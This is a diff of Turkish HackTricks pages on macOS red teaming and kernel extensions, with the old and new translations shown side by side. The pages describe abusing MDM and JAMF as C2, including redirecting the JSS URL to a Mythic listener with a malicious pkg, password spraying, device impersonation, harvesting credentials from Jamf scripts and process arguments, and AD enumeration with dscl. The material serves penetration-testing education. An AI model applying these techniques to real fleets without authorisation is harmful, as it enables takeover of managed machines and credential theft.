@ -1693,7 +1728,7 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
@ -19,9 +19,9 @@ HackTricks'ı desteklemenin diğer yolları:
* JAMF Pro: `jamf checkJSSConnection` * JAMF Pro: `jamf checkJSSConnection`
* Kandji * Kandji
Yönetim platformuna erişmek için **yönetici kimlik bilgilerini ele geçirmeyi** başarırsanız, kötü amaçlı yazılımınızı makinelerde dağıtarak **potansiyel olarak tüm bilgisayarları tehlikeye atabilirsiniz**. Yönetim platformuna erişmek için **yönetici kimlik bilgilerini ele geçirirseniz**, kötü amaçlı yazılımınızı makinelerde dağıtarak **tüm bilgisayarları potansiyel olarak tehlikeye atabilirsiniz**.
MacOS ortamlarında kırmızı takım çalışması yaparken MDM'lerin nasıl çalıştığı hakkında biraz anlayışa sahip olmanız **şiddetle önerilir**: MacOS ortamlarında kırmızı takım faaliyetleri için MDM'lerin nasıl çalıştığını anlamak son derece önerilir:
{% content-ref url="macos-mdm/" %} {% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/) [macos-mdm](macos-mdm/)
@ -29,41 +29,41 @@ MacOS ortamlarında kırmızı takım çalışması yaparken MDM'lerin nasıl ç
### MDM'yi C2 Olarak Kullanma ### MDM'yi C2 Olarak Kullanma
Bir MDM, profil yükleme, sorgulama veya kaldırma, uygulama yükleme, yerel yönetici hesapları oluşturma, firmware şifresi ayarlama, FileVault anahtarını değiştirme gibi izinlere sahip olacaktır... Bir MDM, profilleri yüklemeye, sorgulamaya veya kaldırmaya, uygulamaları yüklemeye, yerel yönetici hesapları oluşturmaya, firmware şifresi belirlemeye, FileVault anahtarını değiştirmeye izin verecektir...
Kendi MDM'nizi çalıştırmak için [**https://mdmcert.download/**](https://mdmcert.download/) adresinden elde etmeye çalışabileceğiniz bir satıcı tarafından imzalanan **CSR'ınıza** ihtiyacınız vardır. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz. Kendi MDM'nizi çalıştırmak için [**https://mdmcert.download/**](https://mdmcert.download/) adresinden **bir satıcı tarafından imzalanan CSR'nızı** almanız gerekmektedir. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz.
Ancak, kayıtlı bir cihaza bir uygulama yüklemek için hala bir geliştirici hesabı tarafından imzalanmış olması gerekmektedir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir bir CA olarak ekler**, böylece artık herhangi bir şeyi imzalayabilirsiniz. Ancak, bir uygulamayı kayıtlı bir cihaza yüklemek için hala bir geliştirici hesabı tarafından imzalanmış olması gerekmektedir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir bir CA olarak ekler**, böylece artık herhangi bir şeyi imzalayabilirsiniz.
Bir cihazı MDM'ye kaydetmek için kök olarak bir **`mobileconfig`** dosyası yüklemeniz gerekmektedir, bu dosya bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içinde sıkıştırabilir ve Safari'den indirildiğinde açılacaktır). Cihazı bir MDM'ye kaydetmek için, kök olarak bir **`mobileconfig`** dosyası yüklemeniz gerekmektedir, bu dosya bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içinde sıkıştırabilir ve safari'den indirildiğinde açılabilir).
**Mythic agent Orthrus** bu tekniği kullanır. **Mythic ajanı Orthrus** bu tekniği kullanır.
### JAMF PRO'yu Kötüye Kullanma ### JAMF PRO'yu Kötüye Kullanma
JAMF, **özel komut dosyaları** (sistem yöneticisi tarafından geliştirilen komut dosyaları), **yerel yükler** (yerel hesap oluşturma, EFI şifresi ayarlama, dosya/süreç izleme...) ve **MDM** (cihaz yapılandırmaları, cihaz sertifikaları...) çalıştırabilir. JAMF, **özel betikler** (sistem yöneticisi tarafından geliştirilen betikler), **yerel yükler** (yerel hesap oluşturma, EFI şifresi belirleme, dosya/işlem izleme...) ve **MDM** (cihaz yapılandırmaları, cihaz sertifikaları...) çalıştırabilir.
#### JAMF otomatik kaydı #### JAMF otomatik kayıt
`https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya giderek **otomatik kaydın etkin olup olmadığını** kontrol edebilirsiniz. Etkinse **erişim için kimlik bilgileri isteyebilir**. Öz-kayıt etkinleştirilmiş bir sayfaya gitmek için `https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya gidin. Eğer etkinleştirilmişse **erişmek için kimlik bilgileri isteyebilir**.
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) betiğini kullanarak bir parola sıçratma saldırısı gerçekleştirebilirsiniz. [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) betiğini kullanarak bir şifre püskürtme saldırısı gerçekleştirebilirsiniz.
Ayrıca, uygun kimlik bilgilerini bulduktan sonra diğer kullanıcı adlarını brute-force yöntemiyle deneyebilirsiniz: Ayrıca, uygun kimlik bilgileri bulduktan sonra diğer kullanıcı adlarını kaba kuvvet saldırısı yapabilirsiniz:
![](<../../.gitbook/assets/image (7) (1) (1).png>) ![](<../../.gitbook/assets/image (7) (1) (1).png>)
#### JAMF cihaz Kimlik Doğrulama #### JAMF cihaz Kimlik Doğrulama
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**`jamf`** ikili dosyası, keşif zamanında herkesle **paylaşılan** anahtar zincirini açmak için gizli anahtarı içeriyordu: **`jk23ucnq91jfu9aj`**.\ **`jamf`** ikili dosyası, keşif zamanında herkesle paylaşılan anahtarı açmak için gizliydi ve o zamanlar: **`jk23ucnq91jfu9aj`** idi.\
Ayrıca, jamf **LaunchDaemon** olarak **`/Library/LaunchAgents/com.jamf.management.agent.plist`** konumunda kalıcı olarak çalışır. Ayrıca, jamf **`/Library/LaunchAgents/com.jamf.management.agent.plist`** konumunda bir **LaunchDaemon** olarak kalıcıdır.
#### JAMF Cihaz Devralma #### JAMF Cihaz Devralma
**`jamf`**'ın kullanacağı **JSS** (Jamf Yazılım Sunucusu) **URL**'si **`/Library/Preferences/com.jamfsoftware.jamf.plist`** konumundadır.\ **`jamf`**'ın kullanacağı **JSS** (Jamf Yazılım Sunucusu) **URL'si**, **`/Library/Preferences/com.jamfsoftware.jamf.plist`** konumundadır.\
Bu dosya temel olarak URL'yi içerir: Bu dosya temelde URL'yi içerir:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -78,9 +78,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
<integer>4</integer> <integer>4</integer>
[...] [...]
``` ```
{% endcode %} Böylece, bir saldırgan, bu dosyayı **üzerine yazacak şekilde ayarlanmış kötü amaçlı bir paket (`pkg`) bırakabilir ve yüklendiğinde URL'yi bir Typhon ajanından Mythic C2 dinleyicisine ayarlayarak artık JAMF'ı C2 olarak kötüye kullanabilir.**
Böylece, bir saldırgan, bu dosyayı üzerine yazan kötü amaçlı bir paket (`pkg`) bırakabilir ve kurulduğunda **URL'yi Typhon ajanından bir Mythic C2 dinleyicisine ayarlayabilir**, böylece JAMF'ı C2 olarak kullanabilir.
```bash ```bash
# After changing the URL you could wait for it to be reloaded or execute: # After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0 sudo jamf policy -id 0
@ -89,26 +87,26 @@ sudo jamf policy -id 0
``` ```
{% endcode %} {% endcode %}
#### JAMF Taklit Etme #### JAMF Taklit
Bir cihaz ve JMF arasındaki iletişimi **taklit etmek** için şunlara ihtiyacınız vardır: Cihaz ve JMF arasındaki iletişimi **taklit etmek** için şunlara ihtiyacınız vardır:
* Cihazın **UUID**'si: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` * Cihazın **UUID**'si: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* Cihaz sertifikasını içeren **JAMF anahtar zinciri**: `/Library/Application\ Support/Jamf/JAMF.keychain` * Cihaz sertifikasını içeren **JAMF anahtar zinciri**: `/Library/Application\ Support/Jamf/JAMF.keychain`
Bu bilgilerle, **çalınan** Donanım **UUID**'ye sahip ve **SIP devre dışı** bırakılmış bir VM **oluşturun**, **JAMF anahtar zincirini** bırakın, Jamf **ajanını** **kancalayın** ve bilgilerini çalın. Bu bilgilerle, **çalınan** Donanım **UUID'si** ile ve **SIP devre dışı** bırakılmış bir VM **oluşturun**, **JAMF anahtar zincirini** bırakın, Jamf **ajansını kancala** ve bilgilerini çalın.
#### Sırların Çalınması #### Sırların Çalınması
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
Ayrıca, **özel betikleri** Jamf aracılığıyla çalıştırmak isteyebilecek yöneticilerin yerini izleyebilirsiniz. Bu betikler buraya yerleştirilir, çalıştırılır ve kaldırılır. Bu betikler **kimlik bilgilerini içerebilir**. Ayrıca, yöneticilerin Jamf aracılığıyla yürütmek isteyebileceği **özel betikleri** izlemek için `/Library/Application Support/Jamf/tmp/` konumunu izleyebilirsiniz çünkü bunlar buraya **yerleştirilir, yürütülür ve kaldırılır**. Bu betikler **kimlik bilgilerini içerebilir**.
Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak geçirilebilir, bu yüzden `ps aux | grep -i jamf`'ı (root olmadan bile) izlemeniz gerekecektir. Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak iletilmiş olabilir, bu nedenle `ps aux | grep -i jamf`'yi (root olmadan bile) izlemeniz gerekebilir.
[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) adlı betik, yeni dosyaların eklenmesini ve yeni işlem argümanlarını dinleyebilir. [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) betiği, eklenen yeni dosyaları ve yeni işlem argümanlarını dinleyebilir.
### macOS Uzaktan Erişim ### macOS Uzak Erişim
Ve ayrıca **MacOS** "özel" **ağ** **protokolleri** hakkında: Ve ayrıca **MacOS** "özel" **ağ** **protokolleri** hakkında:
@ -118,7 +116,7 @@ Ve ayrıca **MacOS** "özel" **ağ** **protokolleri** hakkında:
## Active Directory ## Active Directory
Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** göreceksiniz. Bu senaryoda, alıştığınız gibi aktif dizini **numaralandırmaya** çalışmalısınız. Aşağıdaki sayfalarda **yardım** bulun: Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** göreceksiniz. Bu senaryoda, genellikle yaptığınız gibi aktif dizini **numaralandırmaya çalışmalısınız**. Aşağıdaki sayfalarda **yardım** bulabilirsiniz:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -132,36 +130,36 @@ Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** görecek
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/) [pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
{% endcontent-ref %} {% endcontent-ref %}
Size yardımcı olabilecek bazı **yerel MacOS araçları** `dscl`'dir: Size yardımcı olabilecek bazı **yerel MacOS araçları** da `dscl`'dir:
```bash ```bash
dscl "/Active Directory/[Domain]/All Domains" ls / dscl "/Active Directory/[Domain]/All Domains" ls /
``` ```
Ayrıca, MacOS için AD'yi otomatik olarak sıralamak ve kerberos ile oynamak için bazı araçlar hazırlanmıştır: Ayrıca, MacOS için AD'yi otomatik olarak numaralandırmak ve kerberos ile oynamak için bazı araçlar hazırlanmıştır:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS ana bilgisayarlarında Active Directory ilişkilerini toplamaya ve içe aktarmaya izin veren Bloodhound denetim aracının bir uzantısıdır. * [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS ana bilgisayarlarında Active Directory ilişkilerini toplamak ve almak için Bloodhound denetim aracına bir uzantıdır.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS üzerinde Heimdal krb5 API'leri ile etkileşim kurmak için tasarlanmış bir Objective-C projesidir. Projenin amacı, hedefte başka bir çerçeve veya paket gerektirmeden yerel API'leri kullanarak macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapmaktır. * [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'ta Heimdal krb5 API'leri ile etkileşim sağlamak üzere tasarlanmış bir Objective-C projesidir. Projenin amacı, hedef üzerinde herhangi bir diğer çerçeve veya paket gerektirmeksizin macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapılmasını sağlamaktır.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory sıralaması yapmak için JavaScript for Automation (JXA) aracı. * [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) aracı, Active Directory numaralandırması yapmak için kullanılır.
### Alan Bilgisi ### Alan Bilgileri
```bash ```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil echo show com.apple.opendirectoryd.ActiveDirectory | scutil
``` ```
### Kullanıcılar ### Kullanıcılar
MacOS kullanıcılarının üç türü vardır: MacOS kullanıcılarının üç türü şunlardır:
* **Yerel Kullanıcılar** - Yerel OpenDirectory hizmeti tarafından yönetilen, Active Directory ile herhangi bir şekilde bağlantılı olmayan kullanıcılardır. - **Yerel Kullanıcılar** Yerel OpenDirectory hizmeti tarafından yönetilen, Active Directory ile herhangi bir şekilde bağlantılı olmayan kullanıcılar.
* **Ağ Kullanıcıları** - Geçici Active Directory kullanıcılarıdır ve kimlik doğrulaması için DC sunucusuna bağlantı gerektirirler. - **Ağ Kullanıcıları** — Geçici Active Directory kullanıcıları, kimlik doğrulamak için DC sunucusuna bağlantı gerektirir.
* **Mobil Kullanıcılar** - Kimlik bilgileri ve dosyaları için yerel bir yedek olan Active Directory kullanıcılarıdır. - **Mobil Kullanıcılar** — Kimlik ve dosyaları için yerel bir yedekleme olan Active Directory kullanıcıları.
Kullanıcılar ve gruplar hakkındaki yerel bilgiler, _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\ Kullanıcılar ve gruplarla ilgili yerel bilgiler, _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\
Örneğin, _mark_ adlı kullanıcıyla ilgili bilgiler _/var/db/dslocal/nodes/Default/users/mark.plist_ dosyasında saklanır ve _admin_ adlı grupla ilgili bilgiler _/var/db/dslocal/nodes/Default/groups/admin.plist_ dosyasında bulunur. Örneğin, _mark_ adlı kullanıcıyla ilgili bilgiler _/var/db/dslocal/nodes/Default/users/mark.plist_ dosyasında saklanır ve _admin_ grubuyla ilgili bilgiler _/var/db/dslocal/nodes/Default/groups/admin.plist_ dosyasında bulunur.
MacHound, Bloodhound veritabanına HasSession ve AdminTo kenarlarına ek olarak **üç yeni kenar** ekler: HasSession ve AdminTo kenarlarını kullanmanın yanı sıra, **MacHound Bloodhound veritabanına üç yeni kenar ekler**:
* **CanSSH** - ana bilgisayara SSH yapmaya izin verilen varlık - **CanSSH** - ana bilgisayara SSH yapmaya izin verilen varlık
* **CanVNC** - ana bilgisayara VNC yapmaya izin verilen varlık - **CanVNC** - ana bilgisayara VNC yapmaya izin verilen varlık
* **CanAE** - ana bilgisayarda AppleEvent komut dosyalarını çalıştırmaya izin verilen varlık - **CanAE** - ana bilgisayarda AppleEvent komut dosyalarını çalıştırmaya izin verilen varlık
```bash ```bash
#User enumeration #User enumeration
dscl . ls /Users dscl . ls /Users
@ -185,9 +183,9 @@ dsconfigad -show
``` ```
Daha fazla bilgi için [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) adresine bakabilirsiniz. Daha fazla bilgi için [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) adresine bakabilirsiniz.
## Keychain'e Erişim ## Anahtarlık Erişimi
Keychain, muhtemelen bir prompt oluşturmadan erişilen hassas bilgileri içerir ve bu da bir kırmızı takım egzersizinde ilerlemeye yardımcı olabilir: Anahtarlık büyük olasılıkla hassas bilgiler içerir ve eğer bir uyarı oluşturmadan erişilirse kırmızı takım egzersizine devam etmede yardımcı olabilir:
{% content-ref url="macos-keychain.md" %} {% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md) [macos-keychain.md](macos-keychain.md)
@ -195,13 +193,13 @@ Keychain, muhtemelen bir prompt oluşturmadan erişilen hassas bilgileri içerir
## Harici Hizmetler ## Harici Hizmetler
MacOS Kırmızı Takım çalışması, genellikle **MacOS'un doğrudan birkaç harici platformla entegre olduğu** normal bir Windows Kırmızı Takım çalışmasından farklıdır. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişim sağlamak ve OneLogin aracılığıyla birkaç harici hizmete** (github, aws gibi) erişmektir. MacOS Kırmızı Takımı, genellikle **MacOS'un doğrudan birkaç harici platformla entegre olduğu normal Windows Kırmızı Takımdan farklıdır**. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişim sağlamak ve OneLogin aracılığıyla birkaç harici hizmete erişmek** (github, aws gibi).
## Çeşitli Kırmızı Takım teknikleri ## Çeşitli Kırmızı Takım teknikleri
### Safari ### Safari
Safari'de bir dosya indirildiğinde, eğer "güvenli" bir dosya ise, **otomatik olarak açılır**. Örneğin, bir zip dosyası indirirseniz, otomatik olarak açılır: Safari'de bir dosya indirildiğinde, eğer "güvenli" bir dosya ise **otomatik olarak açılacaktır**. Örneğin, bir zip dosyası indirirseniz, otomatik olarak açılacaktır:
<figure><img src="../../.gitbook/assets/image (12) (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (12) (3).png" alt=""><figcaption></figcaption></figure>
@ -212,17 +210,3 @@ Safari'de bir dosya indirildiğinde, eğer "güvenli" bir dosya ise, **otomatik
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0) * [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY) * [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) * [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.**
</details>

View file

@ -1,48 +1,48 @@
# macOS Çekirdek Uzantıları # macOS Kernel Uzantıları
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin<strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te duyurmak** ister misiniz? **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin. * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin. * [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin
* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **beni takip edin**. * **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **takip edin**.
* **Hacking hilelerinizi göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**. * **Hacking püf noktalarınızı göndererek PR göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
</details> </details>
## Temel Bilgiler ## Temel Bilgiler
Çekirdek uzantıları (Kext'ler), ana işletim sistemine ek işlevsellik sağlayan **`.kext`** uzantılı **paketlerdir** ve doğrudan macOS çekirdek alanına yüklenir. Kernel uzantıları (Kexts), ana işletim sistemine ek işlevsellik sağlayan ve **`.kext`** uzantısına sahip **paketler** olan **doğrudan macOS çekirdek alanına yüklenen** bileşenlerdir.
### Gereksinimler ### Gereksinimler
ıkçası, bu kadar güçlü olduğu için bir çekirdek uzantısını yüklemek **karmaşık bir işlemdir**. Bir çekirdek uzantısının yüklenmesi için karşılanması gereken **gereksinimler** şunlardır: Bu kadar güçlü olduğundan, bir kernel uzantısını yüklemek **oldukça karmaşıktır**. Bir kernel uzantısının yüklenmesi için karşılanması gereken **gereksinimler** şunlardır:
* **Kurtarma moduna girildiğinde**, çekirdek **uzantılarının yüklenmesine izin verilmelidir**: * Kurtarma moduna **girildiğinde**, kernel **uzantılarının yüklenmesine izin verilmelidir**:
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Çekirdek uzantısı, yalnızca **Apple tarafından verilebilen bir çekirdek kodu imzalama sertifikasıyla imzalanmalıdır**. Apple, şirketi ve nedenlere ayrıntılı olarak inceleyecektir. * Kernel uzantısı, yalnızca **Apple tarafından verilebilen bir çekirdek kodu imzalama sertifikasıyla** imzalanmış olmalıdır. Şirketi ve neden gerekli olduğunu detaylı olarak inceleyecek olan Apple.
* Çekirdek uzantısı ayrıca **notarized** olmalıdır, Apple tarafından kötü amaçlı yazılım kontrol edilebilir. * Kernel uzantısı ayrıca **notarized** olmalıdır, Apple tarafından kötü amaçlı yazılım için kontrol edilebilir olacaktır.
* Ardından, **root** kullanıcısı, çekirdek uzantısını **yükleyebilen** ve paket içindeki dosyaların **root'a ait olması gereken** kullanıcıdır. * Ardından, **root** kullanıcısı, kernel uzantısını **yükleyebilen** ve paket içindeki dosyaların **root'a ait olması gereken** kişidir.
* Yükleme işlemi sırasında, paketin **korunan bir kök olmayan konuma** hazırlanması gerekmektedir: `/Library/StagedExtensions` (`com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir). * Yükleme işlemi sırasında, paketin **korunan bir kök olmayan konumda** hazırlanması gerekir: `/Library/StagedExtensions` (`com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir).
